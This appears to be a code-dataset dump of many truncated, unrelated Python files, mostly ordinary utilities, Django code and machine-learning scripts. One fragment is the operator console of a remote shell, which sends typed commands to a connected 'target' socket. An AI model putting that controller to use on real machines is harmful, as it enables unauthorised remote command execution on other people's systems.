content
stringlengths
5
1.05M
# coding: utf-8 """ This module contains all the exceptions definitions for the Flatisfy-specific exceptions. """ from __future__ import absolute_import, print_function, unicode_literals class DataBuildError(Exception): """ Error occurring on building a data file. """ pass
# -*-coding:utf-8-*- """ 程序启动参数定义、获取与解析 @author Myles Yang """ import argparse import const_config """ 设置命令参数时的KEY """ # 程序运行方式 ARG_RUN = '--run' # 程序日志记录方式 ARG_LOG = '--log' # 创建程序快捷方式 ARG_LNK = '--lnk' """ 获取命令参数值时的KEY """ ARG_KEY_RUN = 'RUNTYPE' ARG_KEY_LOG = 'LOGTYPE' ARG_KEY_LNK = 'LNKPATH' """ --run 命令参数选项...
def commaQuibble(s): return '{%s}' % ' and '.join(s).replace(' and ', ', ', len(s) - 2) for seq in ([], ["ABC"], ["ABC", "DEF"], ["ABC", "DEF", "G", "H"]): print('Input: %-24r -> Output: %r' % (seq, commaQuibble(seq)))
# this is just an example from scikit-learn for how to use svr from sklearn.svm import SVR import numpy as np n_samples, n_features = 10, 5 np.random.seed(0) y = np.random.randn(n_samples) X = np.random.randn(n_samples, n_features) clf = SVR(C=1.0, epsilon=0.2) clf.fit(X,y) print clf.fit(X,y)
__all__ = ("__title__", "__summary__", "__uri__", "__version__", "__author__", "__email__", "__license__", "__copyright__", ) def __get_version(): from os import path f = path.abspath(path.dirname(__file__)) return (open(path.joi...
# Licensed under a 3-clause BSD style license - see LICENSE.rst """ TODO: add tests for different cases of theta and is_off_correlated """ from __future__ import print_function, division from astropy.tests.helper import pytest import unittest import numpy as np from astropy.io import fits from ..maps import Maps try: ...
import math import multiprocessing as mp import time, timeit import string, random import os, sys, shutil, glob from contextlib import contextmanager @contextmanager def ignored(*exceptions): ''' Can be used to replace try: code except Exception1, Exception2, ...: pass ...
from __future__ import print_function from subprocess import call def ping(): ip = raw_input("Enter IP address: ") call(["ping", ip, "-c", "4"]) def ssh(): username = raw_input("Enter username: ") ip = raw_input("Enter IP: ") call(["ssh", username+"@"+ip]) def netstat(): call(["netstat"]) def traceroute(): ...
# -*- coding: utf-8 -*- import random import time import numpy as np from .algorithms import recursive_backtracking, randomized_prim class ActionSpace: def __init__(self, seed): self.shape = 4 self._random = random.Random(x=seed) def sample(self): return self._random.randint(0, self...
"""Stand-alone type-definition objects for date-based data types Three possible sources (1 implemented): * mx.DateTime (prefered, and implemented) * Python 2.3 datetime * standard time module (least interesting) XXX Would be nice to get a Python 2.3 datetime module implementation, but it's pretty low on my list o...
""" Patch functions for Zigbee Home Automation. For more details about this component, please refer to the documentation at https://open-peer-power.io/integrations/zha/ """ def apply_application_controller_patch(zha_gateway): """Apply patches to ZHA objects.""" # Patch handle_message until zigpy can provide ...
# The MIT License (MIT) # # Author: Baozhu Zuo (zuobaozhu@gmail.com) # # Copyright (C) 2020 Seeed Technology Co.,Ltd. # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, ...
# __BEGIN_LICENSE__ # Copyright (C) 2008-2010 United States Government as represented by # the Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # __END_LICENSE__ from django.conf.urls.defaults import url, patterns urlpatterns = patterns( 'mapFastenApp.views', url(r'^...
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Jan 12 16:31:47 2021 @author: logan """ import math import argparse import sys, os import numpy as np import pickle, gzip import logging import shutil import inspect currentdir = os.path.dirname(os.path.abspath(inspect.getfile(inspect.currentframe())))...
# Generated by Django 3.1.1 on 2020-10-06 02:21 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('API', '0004_auto_20201005_2358'), ] operations = [ migrations.RenameField( model_name='solicitu...
#'http://www.meiduo.site:8000/emailsactive/?token=%s'%token from itsdangerous import BadData from itsdangerous import TimedJSONWebSignatureSerializer as Serializer from meiduo_mall import settings def generic_active_email_url(id,email): #加密 # 1.创建实例 s=Serializer(secret_key=settings.SECRET_KEY,expires_in=360...
#!/usr/bin/env python # # Generated Wed Mar 11 12:21:36 2020 by generateDS.py version 2.35.15. # Python 3.7.1 (v3.7.1:260ec2c36a, Oct 20 2018, 14:57:15) [MSC v.1915 64 bit (AMD64)] # # Command line options: # ('-o', 'egais.py') # ('-s', 'egaissubs.py') # ('--use-old-simpletype-validators', '') # ('--external-e...
import sys import os import sys import re import os.path import platform import subprocess import compile def replace(filename, pattern, replacement): f = open(filename) s = f.read() f.close() s = re.sub(pattern, replacement, s) f = open(filename, 'w') f.write(s) f.close() dbms_cfg = ["c...
from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import cv2 import numpy as np import os import math from caffe2.python import workspace from detectron.core.config import cfg from detectron.core.config import get_outp...
""" This module defines any API clients used by the SEMA app. """ import requests import json from retry import retry from django.conf import settings from core.exceptions import ( ApiInvalidContentToken, ApiInvalidToken, ApiRateLimitExceeded ) class SemaApiClient(object): """ This class defi...
from assets.lib import * set_process(89285) fire_ye_cannons_func() reveal_ye_plunder_func()
import copy import numpy import scipy.linalg from pauxy.estimators.mixed import local_energy_multi_det from pauxy.walkers.walker import Walker from pauxy.utils.misc import get_numeric_names class MultiDetWalker(Walker): """Multi-Det style walker. Parameters ---------- weight : int Walker weigh...
from django.contrib.contenttypes.models import ContentType from django.core.urlresolvers import reverse from rest_framework import serializers from generic_tagging.api.fields import TagField from ..models import Tag, TaggedItem class ContentObjectSerializer(serializers.Serializer): content_type = serializers.Ser...
from rest_framework import serializers from .models import ScannerResult class ScannerResultSerializer(serializers.ModelSerializer): scanner = serializers.SerializerMethodField() label = serializers.CharField(default=None) results = serializers.JSONField() class Meta: model = ScannerResult ...
#!/usr/bin/env python #_*_ coding: utf8 _*_ import socket import base64 def shell(): current_dir = target.recv(1024) count = 2 while True: comando = raw_input("{}~#: ".format(current_dir)) if comando == "exit": target.send(comando) break elif comando[:2] == "cd": target.send(comando) res = ...
""" This file contains an implementation of the Cross Entropy loss function. """ import torch from core.norms.l2_norm import l2_norm_model def cross_entropy(log_probs, classes, reduce='mean'): """ Computes the categorical cross-entropy loss. Args: log_probs: tensor, shape(n_samples, n_classes) ...
import numpy as np import random import math from openrec.utils.samplers import Sampler def EvaluationSampler(batch_size, dataset, seed=100): random.seed(seed) def batch(dataset, batch_size=batch_size): while True: for user_id in dataset.warm_users(): positive_items = d...
import json import os import sys import click @click.command('init', short_help="initialize .lamby file in cwd") def init(): """Initializes the .lamby file in the repository""" lamby_dir = os.path.join(os.path.realpath('.'), '.lamby') if os.path.isdir(lamby_dir): click.echo('Lamby project alrea...
import sql_manage import setup get_data = sql_manage.get_data test = sql_manage.test DatabaseError = sql_manage.DatabaseError init_db = sql_manage.init_db execute_command = sql_manage.execute_command retrieve = sql_manage.retrieve setup_globals = setup.setup_globals __all__ = [ 'test', 'DatabaseError', 'init_db',...
import math from enforce_typing import enforce_types from agents.algovera_agents.SquadMemberAgent import SquadMemberAgent from engine import AgentBase from util.constants import S_PER_YEAR @enforce_types class SquadAgentNoPool(AgentBase.AgentBaseNoEvm): def __init__( self, name: str, USD:...
# RE-BERT training model # Adapted from LCF-BERT (ABSA-Pytorch) import logging import argparse import math import os import sys import random import numpy from sklearn import metrics from time import strftime, localtime from transformers import BertModel import torch import torch.nn as nn from torch.utils.data impo...
#!/usr/bin/env python import re import os import sys import wave if len(sys.argv) != 2: print "Usage:%s pcm file" % (sys.argv[0]) print "A wave will be created use same name. For example, input file is a.pcm, a.wav will be generated" sys.exit(1) if not os.path.isfile(sys.argv[1]): print "input param ...
#SERVER SETTINGS SERVER_HOST_NAME = "0.0.0.0" ##THE IP ADDRESS FOR GALAKSIO, LEAVE 0.0.0.0 FOR LISTENING ALL REQUESTS SERVER_PORT_NUMBER = 8080 ##THE PORT NUMBER THAT GALAKSIO LISTENS FOR REQUESTS SERVER_ALLOW_DEBUG = False ##ENABLE DEBUG, THIS OPTION IS JUST FOR DEVELOPMENT SERVER_SUBDOMAIN ...
from django.conf.urls import url from appalerts import views, views_ajax app_name = 'appalerts' urlpatterns = [ url( regex=r'^list$', view=views.AppAlertListView.as_view(), name='list', ), url( regex=r'^redirect/(?P<appalert>[0-9a-f-]+)$', view=views.AppAlertLinkRe...
from pandac.PandaModules import Vec4 from toontown.safezone.DDSafeZoneLoader import DDSafeZoneLoader from toontown.town.DDTownLoader import DDTownLoader from toontown.toonbase import ToontownGlobals from toontown.hood.ToonHood import ToonHood class DDHood(ToonHood): notify = directNotify.newCategory('DDHood') ...
from hashlib import sha224 import django from django.http import HttpResponse from oidc_provider import settings if django.VERSION >= (1, 11): from django.urls import reverse else: from django.core.urlresolvers import reverse def redirect(uri): """ Custom Response object for redirecting to a Non-H...
# -*- coding: utf-8 -*- # ***************************************************************************** # NICOS, the Networked Instrument Control System of the MLZ # Copyright (c) 2009-2022 by the NICOS contributors (see AUTHORS) # # This program is free software; you can redistribute it and/or modify it under # the t...
from itertools import permutations from math import sqrt def check_magic_square(rangeallowed,sumMS): sidelenght = int(sqrt(len(rangeallowed))) for i in permutations(rangeallowed): MSConditionsSatisfied = True if (MSConditionsSatisfied and sum(i[::sidelenght+1]) != sumMS): MSConditionsSatisfied ...
""" Tools for manipulating matrices Original Author: Guilhem Ribeill Copyright 2020 Raytheon BBN Technologies Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LIC...
from qutip import destroy, basis, coherent from pygrape import * d = 35 PLEN = 200 a = destroy(d) ad = a.dag() a3 = a*a*a a3d = a3.dag() H0 = np.zeros((d, d), dtype=complex) # Avoid truncation issues by penalizing reaching the boundary # Since the control hamiltonians couple terms 3 number states away # impose an ef...
# -*- coding: utf-8 -*- import numpy as np def add_node(self, coord): """Define a new NodeMat object based on a set of elements. Parameters ---------- self : NodeMat an NodeMat object element : Element an Element object Returns ------- node: Node a Node objec...
from __future__ import annotations from functools import lru_cache from pathlib import Path from re import compile as re_compile from typing import Any, Optional from ..models import BaseNoofile, Noofile from ..utils import STORE, cancel from .index import fetch_index from .local import fetch_local from .remote impor...
import torch.nn as nn import torch from function import adaptive_mean_normalization as adamean from function import adaptive_std_normalization as adastd from function import adaptive_instance_normalization as adain from function import exact_feature_distribution_matching as efdm from function import histogram_matching ...
import numpy as np import pandas as pd import matplotlib as plt import os from sklearn.preprocessing import MinMaxScaler from sklearn.preprocessing import StandardScaler from collections import OrderedDict from sklearn.metrics import accuracy_score from time import time dataset=pd.read_csv('/home/user/Projects/Pratee...
__all__ = ['router'] from fastapi import APIRouter from api import v0 router = APIRouter( prefix='/api' ) router.include_router(v0.router)
# import the necessary packages from imutils import contours from skimage import measure import numpy as np import argparse import imutils import cv2 # construct the argument parse and parse the arguments ap = argparse.ArgumentParser() ap.add_argument("-i", "--image", required=True, help="path to the ...
async def hello(x, a=123, b = 456): print("hello world", a)
import os import collections def load_vocab(vocab_file): """Loads a vocabulary file into a dictionary.""" vocab = collections.OrderedDict() with open(vocab_file, "r", encoding="utf-8") as reader: tokens = reader.readlines() for index, token in enumerate(tokens): token = token.rstrip('\n...
#!/usr/bin/env python """ This module retrieves tweets from a list of users Via the Tweepy library, user can retrieve tweets from a list of users. Details about filters available can be found in Twitter's API documentation. Twitter's API credentials must be filled in constants.py file before running the script. To mod...
#!/usr/bin/env python3 from typing import Any, Callable, List, Optional, Tuple, Union import torch from torch import Tensor from .feature_ablation import FeatureAblation from .._utils.typing import TensorOrTupleOfTensors def _permute_feature(x: Tensor, feature_mask: Tensor) -> Tensor: n = x.size(0) assert n...
""" Contains port groups """ import shlex from typing import List from ubiquiti_config_generator.nodes.validatable import Validatable from ubiquiti_config_generator import type_checker, utility PORT_GROUP_TYPES = { "name": type_checker.is_name, "description": type_checker.is_description, "ports": lambda p...
# python3 """class State wraps a tensor as underlying representation.""" import cmath import math import random from typing import List, Optional import numpy as np from src.lib import helper from src.lib import tensor class State(tensor.Tensor): """class State represents single and multi-qubit states.""" def...
# -*- coding: utf-8 -*- """ Created on Wed Jan 17 17:00:59 2018 @author: ning """ import os import mne os.chdir('D:/Ning - spindle/') #import eegPinelineDesign import pandas as pd from matplotlib import pyplot as plt import numpy as np from tqdm import tqdm import pickle #from sklearn.preprocessing import MinMaxScale...
#!/usr/bin/env python # _*_ coding: utf-8 _*_ import json import pickle import numpy as np from sklearn import svm from pubscripts import * from descnucleotide import * def try_svm() : X = np.array([[-1, -1], [-2, -1], [1, 1], [2, 1]]) y = np.array([1, 1, 2, 2]) # y = np.array([[1], [1], [2],...
import time, glob, os, csv import numpy as np from pythonosc import udp_client from pythonosc import osc_message_builder # OS friendly formatting os.system('cls' if os.name == 'nt' else 'clear') # fond most recent folder and file dir = max([f.path for f in os.scandir('../EEG_data/') if f.is_dir()]) file = max(glob.g...
# Copyright 2021 resspect software # Author: Emille Ishida, Mi Dai # # created on 15 September 2021 # # Licensed GNU General Public License v3.0; # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.gnu.org/licenses/gpl-3.0.en.html # # Unless r...
""" CNN Huy Nguyen (2021) All models which uses a convolutional neural network as its base. """
class Solution: def numJewelsInStones(self, J: str, S: str) -> int: jewels = {} for j in J: jewels[j] = True result = 0 for s in S: if s in jewels: result+=1 return result
# Copyright (c) 2018 Sony Pictures Imageworks Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law...
#!/usr/bin/env python import rospy #importar ros para python import cv2 as cv from std_msgs.msg import String, Int32 # importar mensajes de ROS tipo String y tipo Int32 from std_msgs.msg import String from cv_bridge import CvBridge, CvBridgeError from sensor_msgs.msg import Image import numpy from cv_bridge import CvB...
import random import time def bubble_sort(array): fim = len(array) while fim > 0: i = 0 while i < fim-1: if array[i] > array[i+1]: temp = array[i] array[i] = array[i+1] array[i+1] = temp i += 1 fim -= 1 retur...
# -*- coding: utf-8 -*- """Parser for classify subcommand (c) The James Hutton Institute 2017-2019 Author: Leighton Pritchard Contact: leighton.pritchard@hutton.ac.uk Leighton Pritchard, Information and Computing Sciences, James Hutton Institute, Errol Road, Invergowrie, Dundee, DD2 5DA, Scotland, UK The MIT Licens...
# coding: utf-8 ## Importing IPython Notebooks as Modules # It is a common problem that people want to import code from IPython Notebooks. # This is made difficult by the fact that Notebooks are not plain Python files, # and thus cannot be imported by the regular Python machinery. # # Fortunately, Python provides some...
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'ui_files/multiLineInputDialog.ui' # # Created: Tue Jul 16 00:54:43 2013 # by: pyside-uic 0.2.14 running on PySide 1.1.2 # # WARNING! All changes made in this file will be lost! from PySide import QtCore, QtGui class Ui_Dialog(object):...
import matplotlib import matplotlib.pyplot as plt import numpy as np import warnings class grapher(object): """ A simple class covering typical use of generating graphs. Exmple of usage: 0) import class by using "from matgrapher import grapher" 1) create new object i.e. "gr = grapher...
# Required Python Packages import pandas as pd import numpy as np from sklearn.cross_validation import train_test_split from sklearn.linear_model import LogisticRegression from sklearn import metrics FILE_NAME_TRAIN = 'train.csv' FILE_NAME_TEST = 'test.csv' def dataset_headers(dataset): return list(...
n = int(input()) my_dict = {} for lines in range(n): line = input().split() command = line[0] name = line[1] if command == 'register': if name in my_dict: print(f'ERROR: already registered with plate number {my_dict.get(name)}') else: my_dict[name] = line[2] ...
import sys sys.path.insert(1, '/content/ED-MTT/code') import dataloader import model import utils import numpy as np import os import torch import torch.autograd as autograd import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from tqdm.auto import tqdm from sklearn.metrics import mean_squa...
# -*- coding: utf-8 -*- from __future__ import absolute_import, unicode_literals from celery import shared_task from celery.utils.log import get_task_logger from .models import Subscription """ Celery tasks that can be directly added to a projects' Celery Beat configuration, with whatever timing makes sense for that...
# ---------------------------------------------------------------------------- # Copyright (c) 2016-2022, QIIME 2 development team. # # Distributed under the terms of the Modified BSD License. # # The full license is in the file LICENSE, distributed with this software. # ------------------------------------------------...
import socket if __name__ == "__main__": # 1.创建服务端套接字对象 # AF_INET:IPV4 # SOCKET_STREAM:tcp tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 设置端口号复用,即程序结束后立即释放端口号,默认占用2分钟 # SOL_SOCKET: 当前socket # SO_RESUERADDR: 复用端口号选项 # True:启用端口号复用 tcp_server_soc...
# # -*- coding: utf-8 -*- # # Copyright (c) 2021 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unle...
import logging import os from slack import WebClient from slack.errors import SlackApiError from .utils import utc_now_timestamp logger = logging.getLogger(__name__) class SlackAlertManager: def __init__(self, api_key, channel): self.client = WebClient(api_key) self.channel = channel ...
# import argcomplete # import httplib # import logging # import simplejson # import sys # import urllib2 # from time import strftime, localtime # from conpaas.core import https # from .base import BaseClient # from .config import config # from .service import ServiceCmd # MODES = ['DEMO', 'REAL'] # TASKFARM_MNG_POR...
# 1424. 对角线遍历 II # # 20200915 # huao # 排序,就是有点慢 from typing import List from functools import cmp_to_key def cmp(x, y): if x[0] == y[0]: if x[1] > y[1]: return -1 elif x[1] == y[1]: return 0 else: return 1 elif x[0] > y[0]: return 1 else...
import numpy as np from numpy import array from pyNastran.bdf.field_writer_8 import print_card_8 from pyNastran.bdf.field_writer_16 import print_card_16 class SPCD(object): """ Defines an enforced displacement value for static analysis and an enforced motion value (displacement, velocity or acceleration)...
import socket import traceback # Create a TCP/IP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Bind the socket to the port server_address = ('localhost', 12890) try: print('starting up on {} port {}'.format(*server_address)) # Bind to socket sock.bind(server_address) # start liste...
import pygame import os from app.resources.directories import SOUND_DIR class SoundManager: class __SoundManager: def __init__(self, settings): self.sounds = {} sound_files = os.listdir(SOUND_DIR) if settings == None: self.settings = { ...
import random from sortdemo import SortDemo # Importo los archivos con las funciones a comparar import insertionsort import selectionsort import bubblesort import quicksort # Cuantos elementos tiene cada arreglo? cant_elementos = 30 # Cuanto puede valer a lo sumo a cada elemento del arreglo? max_elemento = 100 # Cr...
import tensorflow as tf from tensorflow.keras.layers import Conv2D, Add, Conv2DTranspose, MaxPooling2D, Activation, concatenate, BatchNormalization class Model(object): """docstring for unet""" def __init__(self): self._name = 'unet_resnetblocks' self._encoder_layers = {} self._decoder_...
import requests from .config import API_KEY _url = 'http://info.sweettracker.co.kr/api/v1/trackingInfo' _param = { 't_key': API_KEY, 't_code': None, 't_invoice': None } _delivery_center = { '우체국택배': '01', 'CJ대한통운': '04', '한진택배': '05', '로젠택배': '06', 'KG로지스택배': '07', '롯데택배': '08', ...
from typing import Union import numpy as np import os import osgeo from osgeo import gdal, ogr from osgeo.osr import SpatialReference from pyproj.crs import CRS from pyproj.enums import WktVersion def pyproj_crs_to_osgeo(proj_crs: Union[CRS, int]): """ Convert from the pyproj CRS object to osgeo SpatialRefer...
import random, sys, time, subprocess from enum import Enum class custom_triggers(Enum): OVERHEAT = 1024; class module(): provides = "temp"; version = "0.0.1"; def overheat_checker(self, event): while True: time.sleep(8); if max(self.get_temp()) > 70: event(self, custom_triggers.OVERHEAT); liste...
# -*- coding: utf-8 -*- from flask import ( Flask, Blueprint, request, session, g, redirect, url_for, abort, render_template, flash, current_app, make_response ) name = '' bp = Blueprint(name, __name__, url_prefix='/%s' % name)
import os,shutil identity_CelebA_text = open('D:\\Research_work\\project_3\\umar_version\\data\\celeba\\identity_CelebA.txt', 'r') Lines = identity_CelebA_text.readlines() img_align_celeb_path="D:\\Research_work\\project_3\\umar_version\\data\celeba\\img_align_celeba\\" classified_path="D:\\Research_work\\project_3...
import torch import torch.nn as nn import torch.nn.functional as F from . import MLP, TCN, LSTM from .base import RunMode, CausalConvNet class DynamicModel(nn.Module): def __init__(self, model, num_inputs, num_outputs, ar, io_delay, normalizer_input=None, normalizer_output=None, *args, **kwargs):...
#----------------------------------------------------------------------------- # Copyright (c) 2013, PyInstaller Development Team. # # Distributed under the terms of the GNU General Public License with exception # for distributing bootloader. # # The full license is in the file COPYING.txt, distributed with this softwa...
import os import zipfile def clear_folder(dir): if os.path.exists(dir): for the_file in os.listdir(dir): file_path = os.path.join(dir, the_file) try: if os.path.isfile(file_path): os.unlink(file_path) else: ...
#!/usr/bin/env python # -*- coding=utf-8 -*- # 创建list print('*******************创建list************************8') aList = [123, 'huang', 4.56, ['abc', 'def']] bList = [None, 'hahah'] print(aList) print(bList) cList = [] print(cList) print(list('huang')) # 使用工厂方法创建 # 访问list中的值 print('*******************访问list中的值***...
from test_module import (module_func_2) module_func()
# -*- coding: utf-8 -*- """form base classes for integration""" from django.utils.encoding import smart_text import floppyforms.__future__ as forms from .settings import get_field_prefix from .widgets import get_inline_html_widget class InlineHtmlForm(forms.Form): """Base class for form with inline html editor...
""" Random Sampling: Random sample the input data and find out frequent itemsets (lower the threshold). """ import random import numpy as np from datming.freq_itemset.apriori import APriori from typing import Iterable, List, Hashable class RandomSampling(object): def __init__(self, support: int, ...
# Copyright 2019 Xanadu Quantum Technologies Inc. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agre...
import math class Solution: def movesToChessboard(self, board): N = len(board) rp, cp = board[0], [x[0] for x in board] #<1> rn, cn = [(x+1)%2 for x in rp], [(x+1)%2 for x in cp] #<2> def core(is_row): # <3> count = errs = 0 for i in range(N): ...
# CTCI 4.4 # Check Balanced import unittest import math import sys class Node(): def __init__(self, left=None, right=None): self.left, self.right = left, right # My Solution # Uses 99999999 as an error code when not balanced # Should use max int? def is_balanced(root): return checkHeight(root) !...
#!/usr/bin/env python3 # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved. import copy import os import random import string import unittest from collections import OrderedDict from tempfile import TemporaryDirectory import torch from torch import nn from fvcore.common.checkpoint import Checkpoint...
#!/usr/bin/env python3 from http.server import BaseHTTPRequestHandler, HTTPServer from shlex import quote from urllib.parse import urlparse import hmac import json import logging import os import subprocess logging.basicConfig( level=logging.INFO, format='[%(asctime)s] {%(pathname)s:%(lineno)d} %(levelname)s...
import logging from .pubsub.consumers import Consumer from .pubsub.producers import Producer from .pubsub.utils import get_connection logFormatter = ('TIMESTAMP:%(asctime)s MODULE:%(module)s MSG:%(message)s') logging.basicConfig(format=logFormatter, level=logging.INFO) logger = logging.getLogger(__name__) connection...
import pytest import random @pytest.fixture def sample_document(): return {"value": 100, "blast32": 21} @pytest.fixture def sample_nested_document(): return {"value1": {"value2": {"value3": 100}}, "blast32": 21} @pytest.fixture def sample_2_document(): return {"check_value": random.randint(0, 100)} ...
from google.protobuf import descriptor from google.protobuf import message from google.protobuf import reflection from google.protobuf import descriptor_pb2 import protocolbuffers.Math_pb2 as Math_pb2 DESCRIPTOR = descriptor.FileDescriptor(name='VFX.proto', package='EA.Sims4.Network', serialized_pb='\n\tVFX.proto\x12\x...